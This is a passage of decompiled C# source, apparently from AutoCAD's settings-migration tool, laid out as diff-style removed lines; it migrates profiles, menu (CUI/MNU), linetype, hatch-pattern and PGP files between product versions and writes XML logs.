Path.GetDirectoryName(mainForm1.m_VertDLLPath); - mainForm1.m_VertDLLPath += "\\VerticalAdMigrator.dll"; - if (File.Exists(mainForm1.m_VertDLLPath)) - MainForm.m_isVertMigration = true; - if (mainForm1.m_isExport) - mainForm1.ExportCustomizations(); - else if (mainForm1.m_isImport) - mainForm1.ImportCustomizations(); - else - System.Windows.Forms.Application.Run((Form) mainForm1); - Settings.Default.Save(); - } - catch (Exception ex) - { - return 1; - } - Parser.Terminate(); - return 0; - } - - public void LaunchProductFirst(string AppInstallDir, bool ExportMsg) - { - string str = AppInstallDir + (this.m_prodInfo.isAcad ? "acad" : "acadlt") + ".exe"; - if (((Form) new LaunchDialog() - { - dlgName = this.m_prodInfo.m_productName, - messageBody = (!ExportMsg ? string.Format(LocalResources.GetString("Import_Launch_Message"), (object) this.m_prodInfo.m_productName) : string.Format(LocalResources.GetString("Export_Launch_Message"), (object) this.m_prodInfo.m_productName)) - }).ShowDialog() != DialogResult.OK || !File.Exists(str)) - return; - Process.Start(str); - } - - private void SetUIText(Control thing) => thing.Text = this.m_LocalResources.GetString(thing.Text); - - private void InitProductInfo() - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(this.ProductRegistryRootKey); - if (registryKey == null) - return; - Migrator.getProductInfoFromRegistryString(this.ProductRegistryRootKey, this.m_prodInfo); - MainForm.isACAD = this.m_prodInfo.isAcad; - registryKey.Close(); - MainForm.MigrationFolder = Migrator.GetRoamableRootFolder(this.ProductRegistryRootKey) + this.m_LocalResources.GetString("LOG_FOLDER"); - if (Directory.Exists(MainForm.MigrationFolder)) - return; - Directory.CreateDirectory(MainForm.MigrationFolder); - } - - private void MainForm_Load(object sender, EventArgs e) - { - this.InitProductInfo(); - this.AcadLineFilesCheck.Text = string.Format(this.AcadLineFilesCheck.Text, (object) this.m_prodInfo.m_product); - this.AcadHatchFilesCheck.Text = string.Format(this.AcadHatchFilesCheck.Text, (object) this.m_prodInfo.m_product); - this.AcadPgpFilesCheck.Text = string.Format(this.AcadPgpFilesCheck.Text, (object) this.m_prodInfo.m_productId.ToLower()); - this.HeaderText.Text = string.Format(this.HeaderText.Text, (object) this.m_prodInfo.m_product, (object) this.m_prodInfo.m_productName); - if (MainForm.m_isVertMigration) - { - object[] parameters = new object[2] - { - (object) this._Migrator.MinProductVersion, - (object) this._Migrator.MinCUIVersion - }; - this.CallVerticalMigration("LatestSupportedVersions", parameters); - if ((double) parameters[0] > this._Migrator.MinProductVersion) - this._Migrator.MinProductVersion = (double) parameters[0]; - if ((double) parameters[1] > this._Migrator.MinCUIVersion) - this._Migrator.MinCUIVersion = (double) parameters[1]; - } - ArrayList installedAppList = this._Migrator.GetInstalledAppList(this.ProductRegistryRootKey); - if (installedAppList.Count == 0) - { - if (!this.m_SkipACADCheck) - { - int num = (int) System.Windows.Forms.MessageBox.Show(string.Format(this.m_LocalResources.GetString("ERROR_NO_PREVIOUS"), (object) this.m_prodInfo.m_product), this.m_LocalResources.GetString("UI_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Asterisk); - } - this.Close(); - } - else - { - foreach (ProductInfo productInfo in installedAppList) - this.InstalledVersionsCombo.Items.Add((object) productInfo); - this.InstalledVersionsCombo.SelectedIndex = this.InstalledVersionsCombo.Items.Count - 1; - for (int index = 0; index < this.FilesCheckBoxPanel.Controls.Count; ++index) - { - if (this.FilesCheckBoxPanel.Controls[index] is CheckBox control) - control.Checked = true; - } - this.UpdateCheckBoxes(this.InstalledVersionsCombo); - } - } - - private static bool IsMyAutoCADInstalled() - { - try - { - string name = Migrator.StripWOWFromCURegKey(Migrator.GetVerifiedRootKeyFromIni()); - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name)) - { - object obj = registryKey != null ? registryKey.GetValue("InitialSetup") : throw new INIException(4); - if (obj == null || !(obj is int num)) - throw new INIException(4); - if (num < 1) - throw new INIException(4); - } - string location = Assembly.GetCallingAssembly().Location; - if (!File.Exists(location.Substring(0, location.LastIndexOf("\\") + 1) + "MyAutoCAD.dll")) - throw new INIException(4); - return true; - } - catch (INIException ex) - { - ADMigratorResources migratorResources = new ADMigratorResources(); - int num = (int) System.Windows.Forms.MessageBox.Show(migratorResources.GetString("INITIALSETUP_ERROR_NOT_INSTALLED"), migratorResources.GetString("INITIALSETUP_DIALOG_TITLE"), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - return false; - } - - private static int CallMyAutoCAD() - { - try - { - ProductInfo productInfo = new ProductInfo(); - if (Migrator.getProductInfoFromRegistryString(Migrator.GetVerifiedRootKeyFromIni(), productInfo)) - { - if (productInfo.m_languageTag.Length <= 3) - Thread.CurrentThread.CurrentUICulture = new CultureInfo(int.Parse(productInfo.m_languageTag, NumberStyles.HexNumber, (IFormatProvider) CultureInfo.InvariantCulture), true); - } - } - catch (INIException ex) - { - } - ((Window) new MainWindow())?.ShowDialog(); - return 0; - } - - private void CancelBtn_Click(object sender, EventArgs e) => this.Close(); - - private void OkBtn_Click(object sender, EventArgs e) - { - if (!(this.InstalledVersionsCombo.Items[this.InstalledVersionsCombo.SelectedIndex] is ProductInfo srcInfo)) - return; - this._Migrator.SourceProdInfo = srcInfo; - MainForm.CUIFileMapArray = new ArrayList(); - if (MainForm.m_isVertMigration) - { - try - { - this.CallVerticalMigration("PreProcess", new object[2] - { - (object) srcInfo.m_regRootKey, - (object) MainForm.CUIFileMapArray - }); - } - catch (Exception ex) - { - MainForm.Log2File(string.Format(this.m_LocalResources.GetString("ERROR_ACAD_VERTICAL"), (object) this.m_prodInfo.m_productId.ToLower(), (object) ex.Message)); - Migrator.m_bErrors = true; - } - } - else if (srcInfo.isLT && srcInfo.IsBeforeSpago()) - { - CUIFileMap cuiFileMap = new CUIFileMap("aclt.cui", "ACLT", "ACLTMacros", "acadlt.cui", "ACADLT", "ACADLTMacros"); - MainForm.CUIFileMapArray.Add((object) cuiFileMap); - } - else if (srcInfo.IsBeforeGator()) - { - CUIFileMap cuiFileMap = new CUIFileMap("contentsearch", "CONTENTSEARCH", "CONTENTSEARCHMacros", "AutodeskSeek", "CONTENTSEARCH", "CONTENTSEARCHMacros"); - MainForm.CUIFileMapArray.Add((object) cuiFileMap); - } - bool flag1 = false; - for (int index = 0; index < this.FilesCheckBoxPanel.Controls.Count; ++index) - { - if (this.FilesCheckBoxPanel.Controls[index] is CheckBox control && control.Checked) - { - flag1 = true; - break; - } - } - try - { - if (flag1) - { - this.Cursor = Cursors.WaitCursor; - this.bRun = true; - this.LogXMLInitialize(); - string[] profiles = Migrator.GetProfiles(srcInfo.m_regRootKey); - if (this.UserProfilesCheck.Checked && profiles != null) - { - if (MainForm.m_isVertMigration) - { - StringDictionary stringDictionary = new StringDictionary(); - this.CallVerticalMigration("GetMigrationEnvironmentVariables", new object[2] - { - (object) srcInfo.m_regRootKey, - (object) stringDictionary - }); - if (stringDictionary.Count > 0) - { - foreach (string key in (IEnumerable) stringDictionary.Keys) - srcInfo.EnvVars.Add(key, stringDictionary[key], true); - } - stringDictionary.Clear(); - this.CallVerticalMigration("GetMigrationEnvironmentVariables", new object[2] - { - (object) this._Migrator.destProductInfo().m_regRootKey, - (object) stringDictionary - }); - if (stringDictionary.Count > 0) - { - foreach (string key in (IEnumerable) stringDictionary.Keys) - this._Migrator.destProductInfo().EnvVars.Add(key, stringDictionary[key], true); - } - } - ProfileMigrator pm = (ProfileMigrator) null; - try - { - this.LogXMLStartSection((LogSection) 0); - string location = Assembly.GetEntryAssembly().Location; - pm = new ProfileMigrator(location.Substring(0, location.LastIndexOf("\\") + 1) + "AdMigrator.xml"); - // ISSUE: method pointer - pm.Migrate(srcInfo, this._Migrator.destProductInfo(), this.ProductRegistryRootKey, new ProfileMigrator.Log((object) null, __methodptr(Log2File))); - } - catch (FileNotFoundException ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_FNF"), (object) "AdMigrator.xml", (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 0, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_PROFILE"), (object) ex.Message); - this.LogXMLElement((LogOperation) 0, (LogCategory) 0, str); - MainForm.Log2File(str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - } - StringCollection stringCollection1 = new StringCollection(); - StringCollection stringCollection2 = new StringCollection(); - foreach (string str1 in profiles) - { - StringCollection a1 = new StringCollection(); - MainForm.m_CurrentSourceProfilePath = srcInfo.m_regRootKey + "\\Profiles\\" + str1; - MainForm.m_CurrentTargetProfilePath = this.ProductRegistryRootKey + "\\Profiles\\" + str1; - RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(MainForm.m_CurrentSourceProfilePath) + "\\General Configuration"); - if (registryKey1 != null) - { - string b1 = (string) registryKey1.GetValue("MenuFile"); - if (b1 != null && b1.Length > 1 && !MainForm.StringCollectionContains(a1, b1, true)) - a1.Add(b1); - string b2 = (string) registryKey1.GetValue("EnterpriseMenuFile"); - if (b2 != null && b2.Length > 1 && !MainForm.StringCollectionContains(a1, b2, true)) - a1.Add(b2); - if (this.CUIFilesCheck.Checked && !pm.SrcProdInfo.IsBeforeRio()) - { - DisposableContainer disposableContainer = new DisposableContainer(); - try - { - this.LogXMLStartSection((LogSection) 1); - StringCollection a2 = new StringCollection(); - CUIFileMigrator.FindTargetCUIFiles(this.ProductRegistryRootKey); - Hashtable hashtable1 = new Hashtable(); - Hashtable hashtable2 = new Hashtable(); - foreach (string source in a1) - { - if (!stringCollection1.Contains(source.ToLower())) - { - stringCollection1.Add(source.ToLower()); - CUIFileMigrator key = new CUIFileMigrator(source, (ILogXML) this, srcInfo, this._Migrator.destProductInfo()); - disposableContainer.AddDisposableObject((IDisposable) key); - if (key.SourceFile != null) - { - key.FindInitialTarget(); - if (key.SetFinalTarget(pm, this.ProductRegistryRootKey)) - { - if (key.MergeFiles()) - { - if (source == b1) - { - RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(MainForm.m_CurrentTargetProfilePath) + "\\General Configuration", true); - registryKey2.SetValue("MenuFile", (object) key.TargetFile); - registryKey2.Close(); - this.LogXMLElement((LogOperation) 0, (LogCategory) 5, string.Format(LocalResources.GetString("LOG_MENU_FILE_CHANGE"), (object) key.TargetFile)); - } - if (source == b2) - { - RegistryKey registryKey3 = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(MainForm.m_CurrentTargetProfilePath) + "\\General Configuration", true); - registryKey3.SetValue("EnterpriseMenuFile", (object) key.TargetFile); - registryKey3.Close(); - this.LogXMLElement((LogOperation) 0, (LogCategory) 5, string.Format(LocalResources.GetString("LOG_ENTERPRISE_FILE_CHANGE"), (object) key.TargetFile)); - } - } - key.CopyImagesDll(); - key.CopySldAndSlbFiles(); - hashtable2.Add((object) key, (object) new List()); - foreach (string str2 in key.GetPartialsFromSource()) - { - if (str2.Length > 1 && !MainForm.StringCollectionContains(a2, str2, true)) - { - a2.Add(str2); - if (!hashtable1.Contains((object) str2)) - hashtable1.Add((object) str2, (object) key); - } - } - } - } - } - } - foreach (string str3 in a2) - { - if (!stringCollection1.Contains(str3.ToLower())) - { - stringCollection1.Add(str3.ToLower()); - CUIFileMigrator cuiFileMigrator1 = new CUIFileMigrator(str3, (ILogXML) this, srcInfo, this._Migrator.destProductInfo()); - disposableContainer.AddDisposableObject((IDisposable) cuiFileMigrator1); - if (cuiFileMigrator1.SourceFile != null) - { - cuiFileMigrator1.FindInitialTarget(); - if (cuiFileMigrator1.SetFinalTarget(pm, this.ProductRegistryRootKey)) - { - CUIFileMigrator cuiFileMigrator2 = (CUIFileMigrator) null; - if (hashtable1.Contains((object) str3)) - cuiFileMigrator2 = hashtable1[(object) str3] as CUIFileMigrator; - cuiFileMigrator1.setParentCUIFile(cuiFileMigrator2); - cuiFileMigrator1.MergeFiles(); - cuiFileMigrator1.CopyImagesDll(); - cuiFileMigrator1.CopySldAndSlbFiles(); - if (hashtable2[(object) cuiFileMigrator2] is IList cuiFileMigratorList) - cuiFileMigratorList.Add(cuiFileMigrator1); - this.LogXMLElement((LogOperation) 1, (LogCategory) 5, !cuiFileMigrator1.AutodeskSourceFile ? string.Format(LocalResources.GetString("LOG_FILE_COPY"), (object) cuiFileMigrator1.SourceFile, (object) cuiFileMigrator1.TargetFile) : string.Format(LocalResources.GetString("LOG_FILE_MERGE"), (object) cuiFileMigrator1.SourceFile, (object) cuiFileMigrator1.TargetFile)); - } - } - } - } - foreach (CUIFileMigrator key in (IEnumerable) hashtable2.Keys) - CUIFileMigrator.RemoveUnresolvedReferences(key, hashtable2[(object) key] as IList); - if (srcInfo.IsBeforeGator()) - { - using (RegistryKey profileGeneralRegKey = Migrator.GetProfileGeneralRegKey(this._Migrator.destProductInfo().m_regRootKey, (string) null, true)) - { - if (profileGeneralRegKey != null) - { - profileGeneralRegKey.DeleteValue("ContentSearchInit", false); - profileGeneralRegKey.DeleteValue("ImpressionInit", false); - } - } - using (RegistryKey profileGeneralRegKey = Migrator.GetProfileGeneralRegKey(this._Migrator.destProductInfo().m_regRootKey, str1, true)) - profileGeneralRegKey?.DeleteValue("ACET-ACETMAIN-MENULOADED", false); - } - } - finally - { - disposableContainer.Dispose(); - this.LogXMLEndSection(); - } - } - else if (this.MNUMNSFilesCheck.Checked) - { - if (pm.SrcProdInfo.IsBeforeRio()) - { - try - { - this.LogXMLStartSection((LogSection) 2); - if (a1.Count > 0) - { - MNUFileMigrator mnuFileMigrator = new MNUFileMigrator(a1[0], (ILogXML) this); - if (mnuFileMigrator.OriginalSource != null) - { - mnuFileMigrator.ConvertToCUIx(pm, this.ProductRegistryRootKey, true); - stringCollection1.Add(mnuFileMigrator.TargetCUIPath); - } - a1.Clear(); - } - RegistryKey registryKey4 = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(MainForm.m_CurrentSourceProfilePath) + "\\Menus"); - if (registryKey4 != null) - { - string[] valueNames = registryKey4.GetValueNames(); - if (valueNames != null && valueNames.Length > 0) - { - foreach (string name in valueNames) - { - if (name.StartsWith("Group")) - { - string b3 = (string) registryKey4.GetValue(name); - if (b3 != null) - { - if (b3.IndexOf(" ") > 0) - b3 = b3.Substring(b3.IndexOf(" ") + 1); - if (b3.Length > 1 && !MainForm.StringCollectionContains(a1, b3, true)) - a1.Add(b3); - } - } - } - } - RegistryKey registryKey5 = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(MainForm.CurrentTargetProfilePath) + "\\General Configuration"); - if (registryKey5 != null) - { - string defaultSupportFile = (string) registryKey5.GetValue("MenuFile"); - CustomizationSection customizationSection = (CustomizationSection) null; - if (defaultSupportFile == null || defaultSupportFile.Length < 1) - { - string str4 = pm.DestProdInfo.m_productId + CustomizationSection.EXTENSION_OPC; - defaultSupportFile = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str4, this.ProductRegistryRootKey); - } - if (defaultSupportFile != null && defaultSupportFile.Length > 1) - customizationSection = new CustomizationSection(defaultSupportFile); - foreach (string source in a1) - { - MNUFileMigrator mnuFileMigrator = new MNUFileMigrator(source, (ILogXML) this); - if (mnuFileMigrator.OriginalSource != null) - { - mnuFileMigrator.ConvertToCUIx(pm, this.ProductRegistryRootKey, false); - if (mnuFileMigrator.LoadTarget) - { - if (customizationSection != null) - { - bool flag2 = false; - foreach (string partialCuiFile in (StringCollection) customizationSection.PartialCuiFiles) - { - if (string.Compare(Path.GetFileName(partialCuiFile), Path.GetFileName(mnuFileMigrator.TargetCUIPath), true) == 0) - { - flag2 = true; - break; - } - } - if (!flag2) - { - ((CuiFileCollectionBase) customizationSection.PartialCuiFiles).Add(mnuFileMigrator.TargetCUIPath); - customizationSection.Save(); - } - } - stringCollection1.Add(mnuFileMigrator.TargetCUIPath); - } - } - } - } - else - continue; - } - } - finally - { - this.LogXMLEndSection(); - } - } - } - if (this.UserIconFilesCheck.Checked) - { - try - { - this.LogXMLStartSection((LogSection) 3); - string path1 = Migrator.GetRoamableRootFolder(this.ProductRegistryRootKey) + "support\\icons"; - if (!Directory.Exists(path1)) - Directory.CreateDirectory(path1); - this.LogXMLElement((LogOperation) 1, (LogCategory) 3, string.Format(LocalResources.GetString("LOG_ICON_FILE_LOCATION"), (object) path1)); - foreach (string path2 in stringCollection1) - { - if (!stringCollection2.Contains(path2.ToLower())) - { - stringCollection2.Add(path2.ToLower()); - try - { - CustomizationSection customizationSection = new CustomizationSection(path2); - if (customizationSection != null) - { - int num = 0; - foreach (string image in customizationSection.FindImages()) - { - try - { - string str5 = (string) null; - if (File.Exists(image)) - str5 = image; - else if (File.Exists(Path.GetDirectoryName(path2) + (object) Path.DirectorySeparatorChar + Path.GetFileName(image))) - str5 = image; - if (str5 == null) - { - string fileName = Path.GetFileName(image); - str5 = Migrator.FindFirstProfileSupportFile(MainForm.isACAD, fileName, MainForm.m_CurrentSourceProfilePath); - } - if (str5 != null) - { - if (File.Exists(str5)) - { - string str6 = path1 + (object) Path.DirectorySeparatorChar + Path.GetFileName(image); - if (!File.Exists(str6)) - File.Copy(str5, str6, false); - ++num; - } - } - } - catch (IOException ex) - { - } - } - this.LogXMLElement((LogOperation) 1, (LogCategory) 3, string.Format(LocalResources.GetString("LOG_ICON_FILES_COPIED"), (object) num, (object) customizationSection.CUIFileBaseName)); - } - } - catch (IOException ex) - { - } - } - } - } - finally - { - this.LogXMLEndSection(); - } - MainForm.m_CurrentSourceProfilePath = (string) null; - MainForm.m_CurrentTargetProfilePath = (string) null; - } - } - } - } - if (this.AcadLineFilesCheck.Checked) - { - MainForm.Log2File(this.m_LocalResources.GetString("LOG_LINE")); - try - { - this.LogXMLStartSection((LogSection) 4); - string str7 = srcInfo.m_productId.ToLower() + ".lin"; - string str8 = this.m_prodInfo.m_productId.ToLower() + ".lin"; - string defaultSupportFile1 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str7, srcInfo.m_regRootKey); - string defaultSupportFile2 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str8, this.ProductRegistryRootKey); - LINFileMigrator linFileMigrator = new LINFileMigrator(); - StringCollection stringCollection3 = ((FileMigrator) linFileMigrator).MigrateFile(defaultSupportFile1, defaultSupportFile2); - string str9 = string.Format(this.m_LocalResources.GetString("LOG_ITEMS_MIGRATED"), (object) stringCollection3.Count, (object) (str8 + this.m_LocalResources.GetString("LOG_LINE_PATTERNS")), (object) defaultSupportFile1, (object) defaultSupportFile2); - MainForm.Log2File(str9); - this.LogXMLElement((LogOperation) 1, (LogCategory) 4, str9); - string str10 = srcInfo.m_productId.ToLower() + "iso.lin"; - string str11 = this.m_prodInfo.m_productId.ToLower() + "iso.lin"; - string defaultSupportFile3 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str10, srcInfo.m_regRootKey); - string defaultSupportFile4 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str11, this.ProductRegistryRootKey); - StringCollection stringCollection4 = ((FileMigrator) linFileMigrator).MigrateFile(defaultSupportFile3, defaultSupportFile4); - string str12 = string.Format(this.m_LocalResources.GetString("LOG_ITEMS_MIGRATED"), (object) stringCollection4.Count, (object) (str11 + this.m_LocalResources.GetString("LOG_LINE_PATTERNS")), (object) defaultSupportFile3, (object) defaultSupportFile4); - MainForm.Log2File(str12); - this.LogXMLElement((LogOperation) 1, (LogCategory) 4, str12); - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_ACAD_LINE"), (object) this.m_prodInfo.m_product, (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 1, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - } - } - if (this.UserLineFilesCheck.Checked) - { - MainForm.Log2File(this.m_LocalResources.GetString("LOG_LINE")); - try - { - this.LogXMLStartSection((LogSection) 5); - string str13 = this.m_prodInfo.m_productId.ToLower() + ".lin"; - string defaultSupportFileDir1 = Migrator.FindDefaultSupportFileDir(MainForm.isACAD, str13, srcInfo.m_regRootKey); - string defaultSupportFileDir2 = Migrator.FindDefaultSupportFileDir(MainForm.isACAD, str13, this.ProductRegistryRootKey); - StringCollection newDir = FileMigrator.CopyFilesToNewDir(defaultSupportFileDir1, defaultSupportFileDir2, "*.lin", false); - string str14 = string.Format(this.m_LocalResources.GetString("LOG_ITEMS_MIGRATED"), (object) newDir.Count, (object) this.m_LocalResources.GetString("LOG_USER_LIN_FILES"), (object) defaultSupportFileDir1, (object) defaultSupportFileDir2); - MainForm.Log2File(str14); - this.LogXMLElement((LogOperation) 1, (LogCategory) 3, str14); - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_USER_LINE"), (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 1, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - } - } - if (this.AcadHatchFilesCheck.Checked) - { - MainForm.Log2File(this.m_LocalResources.GetString("LOG_LINE")); - try - { - this.LogXMLStartSection((LogSection) 6); - string str15 = srcInfo.m_productId.ToLower() + ".pat"; - string str16 = this.m_prodInfo.m_productId.ToLower() + ".pat"; - string defaultSupportFile5 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str15, srcInfo.m_regRootKey); - string defaultSupportFile6 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str16, this.ProductRegistryRootKey); - PATFileMigrator patFileMigrator = new PATFileMigrator(); - StringCollection stringCollection5 = ((FileMigrator) patFileMigrator).MigrateFile(defaultSupportFile5, defaultSupportFile6); - string str17 = string.Format(this.m_LocalResources.GetString("LOG_ITEMS_MIGRATED"), (object) stringCollection5.Count, (object) (str16 + string.Format(this.m_LocalResources.GetString("LOG_HATCH_PATTERNS"))), (object) defaultSupportFile5, (object) defaultSupportFile6); - MainForm.Log2File(str17); - this.LogXMLElement((LogOperation) 1, (LogCategory) 4, str17); - string str18 = srcInfo.m_productId.ToLower() + "iso.pat"; - string str19 = this.m_prodInfo.m_productId.ToLower() + "iso.pat"; - string defaultSupportFile7 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str18, srcInfo.m_regRootKey); - string defaultSupportFile8 = Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str19, this.ProductRegistryRootKey); - StringCollection stringCollection6 = ((FileMigrator) patFileMigrator).MigrateFile(defaultSupportFile7, defaultSupportFile8); - string str20 = string.Format(this.m_LocalResources.GetString("LOG_ITEMS_MIGRATED"), (object) stringCollection6.Count, (object) (str19 + string.Format(this.m_LocalResources.GetString("LOG_HATCH_PATTERNS"))), (object) defaultSupportFile7, (object) defaultSupportFile8); - MainForm.Log2File(str20); - this.LogXMLElement((LogOperation) 1, (LogCategory) 4, str20); - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_ACAD_PATTERN"), (object) this.m_prodInfo.m_product, (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 1, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - } - } - if (this.UserHatchFilesCheck.Checked) - { - MainForm.Log2File(this.m_LocalResources.GetString("LOG_LINE")); - try - { - this.LogXMLStartSection((LogSection) 7); - string str21 = this.m_prodInfo.m_productId.ToLower() + ".pat"; - string defaultSupportFileDir3 = Migrator.FindDefaultSupportFileDir(MainForm.isACAD, str21, srcInfo.m_regRootKey); - string defaultSupportFileDir4 = Migrator.FindDefaultSupportFileDir(MainForm.isACAD, str21, this.ProductRegistryRootKey); - StringCollection newDir = FileMigrator.CopyFilesToNewDir(defaultSupportFileDir3, defaultSupportFileDir4, "*.pat", false); - string str22 = string.Format(this.m_LocalResources.GetString("LOG_ITEMS_MIGRATED"), (object) newDir.Count, (object) this.m_LocalResources.GetString("LOG_HATCH_USER_PAT"), (object) defaultSupportFileDir3, (object) defaultSupportFileDir4); - MainForm.Log2File(str22); - this.LogXMLElement((LogOperation) 1, (LogCategory) 3, str22); - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_USER_PATTERN"), (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 1, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - } - } - if (this.AcadPgpFilesCheck.Checked) - { - MainForm.Log2File(this.m_LocalResources.GetString("LOG_LINE")); - try - { - this.LogXMLStartSection((LogSection) 8); - string str23 = srcInfo.m_productId.ToLower() + ".pgp"; - string str24 = this.m_prodInfo.m_productId.ToLower() + ".pgp"; - StringCollection stringCollection = ((FileMigrator) new PGPFileMigrator()).MigrateFile(Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str23, srcInfo.m_regRootKey), Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, str24, this.ProductRegistryRootKey)); - string str25 = string.Format(this.m_LocalResources.GetString("PGP_MIGRATED"), (object) stringCollection.Count); - MainForm.Log2File(str25); - this.LogXMLElement((LogOperation) 1, (LogCategory) 4, str25); - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_ACAD_PGP"), (object) this.m_prodInfo.m_productId.ToLower(), (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 1, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - finally - { - this.LogXMLEndSection(); - } - } - this.Hide(); - if (MainForm.m_isVertMigration) - { - try - { - this.CallVerticalMigration("Start", (object[]) null); - } - catch (Exception ex) - { - string str = string.Format(this.m_LocalResources.GetString("ERROR_ACAD_VERTICAL"), (object) this.m_prodInfo.m_productId.ToLower(), (object) ex.Message); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 2, (LogCategory) 0, str); - Migrator.m_bErrors = true; - } - } - string text; - if (Migrator.m_bErrors) - { - string str = string.Format(this.m_LocalResources.GetString("LOG_FINISHED_ERRORS"), (object) DateTime.Now); - MainForm.Log2File(str); - this.LogXMLStartSection((LogSection) 9); - this.LogXMLElement((LogOperation) 2, (LogCategory) 2, str); - text = this.m_LocalResources.GetString("ERROR_VIEW"); - } - else - { - string str = string.Format(this.m_LocalResources.GetString("LOG_FINISHED_OK"), (object) DateTime.Now); - MainForm.Log2File(str); - this.LogXMLElement((LogOperation) 2, (LogCategory) 2, str); - text = this.m_LocalResources.GetString("SUCCESS_VIEW"); - } - this.Cursor = Cursors.Default; - if (System.Windows.Forms.MessageBox.Show(text, this.Text, MessageBoxButtons.YesNo, MessageBoxIcon.Asterisk) == DialogResult.Yes) - { - try - { - Process.Start("IExplore.exe", MainForm.LogFileNameXml); - } - catch - { - int num = (int) System.Windows.Forms.MessageBox.Show(this.m_LocalResources.GetString("NO_LOG"), this.Text); - } - } - } - } - finally - { - this.LogXMLFinalize(); - } - this.Close(); - } - - internal void CallVerticalMigration(string methodName, object[] parameters) - { - try - { - foreach (System.Type type in Assembly.LoadFrom(this.m_VertDLLPath).GetTypes()) - { - if (type.FullName == "VerticalAdMigrator.VertAdMigrator") - { - Activator.CreateInstance(type); - foreach (MethodInfo method in type.GetMethods()) - { - if (method.Name == methodName) - { - method.Invoke((object) null, parameters); - break; - } - } - } - } - } - catch (SystemException ex) - { - MainForm.m_isVertMigration = false; - } - } - - public static void Log2File(string sLine) - { - FileStream fileStream = new FileStream(MainForm.LogFileName, FileMode.Append, FileAccess.Write, FileShare.None); - fileStream.Seek(0L, SeekOrigin.End); - sLine += "\r\n\r\n"; - StreamWriter streamWriter = new StreamWriter((Stream) fileStream, Encoding.Default); - streamWriter.Write(sLine); - streamWriter.Flush(); - streamWriter.Close(); - fileStream.Close(); - } - - public void LogXMLInitialize() - { - MainForm.LogFileName = MainForm.MigrationFolder + "\\" + this.m_LocalResources.GetString("LOG_FILE"); - MainForm.LogFileNameXml = Path.GetFileNameWithoutExtension(MainForm.LogFileName); - MainForm.LogFileNameXml = MainForm.MigrationFolder + "\\" + MainForm.LogFileNameXml + ".xml"; - string str1 = MainForm.MigrationFolder + "\\migration.xsl"; - string location = Assembly.GetEntryAssembly().Location; - string str2 = location.Substring(0, location.LastIndexOf("\\") + 1) + "migration.xsl"; - if (!File.Exists(str1) && File.Exists(str2)) - File.Copy(str2, str1, false); - File.Delete(MainForm.LogFileName); - File.Delete(MainForm.LogFileNameXml); - FileStream w = new FileStream(MainForm.LogFileNameXml, FileMode.Append, FileAccess.Write, FileShare.None); - w.Seek(0L, SeekOrigin.End); - MainForm.MainWriter = new XmlTextWriter((Stream) w, (Encoding) null); - MainForm.MainWriter.Formatting = Formatting.Indented; - MainForm.MainWriter.WriteStartDocument(); - string text = "type='text/xsl' href='migration.xsl'"; - MainForm.MainWriter.WriteProcessingInstruction("xml-stylesheet", text); - MainForm.MainWriter.WriteStartElement("Log"); - MainForm.MainWriter.Flush(); - } - - public void LogXMLFinalize() - { - if (MainForm.MainWriter == null) - return; - MainForm.MainWriter.Formatting = Formatting.Indented; - MainForm.MainWriter.WriteEndElement(); - MainForm.MainWriter.WriteEndDocument(); - MainForm.MainWriter.Flush(); - MainForm.MainWriter.Close(); - } - - public void LogXMLStartSection(LogSection section) - { - MainForm.MainWriter.Formatting = Formatting.Indented; - string enumDescription = Migrator.GetEnumDescription(typeof (LogSection), (Enum) (object) section); - MainForm.MainWriter.WriteStartElement("Section"); - MainForm.MainWriter.WriteStartAttribute((string) null, "Name", (string) null); - MainForm.MainWriter.WriteString(enumDescription); - MainForm.MainWriter.WriteEndAttribute(); - MainForm.MainWriter.Flush(); - } - - public void LogXMLElement(LogOperation operation, LogCategory category, string message) - { - MainForm.MainWriter.Formatting = 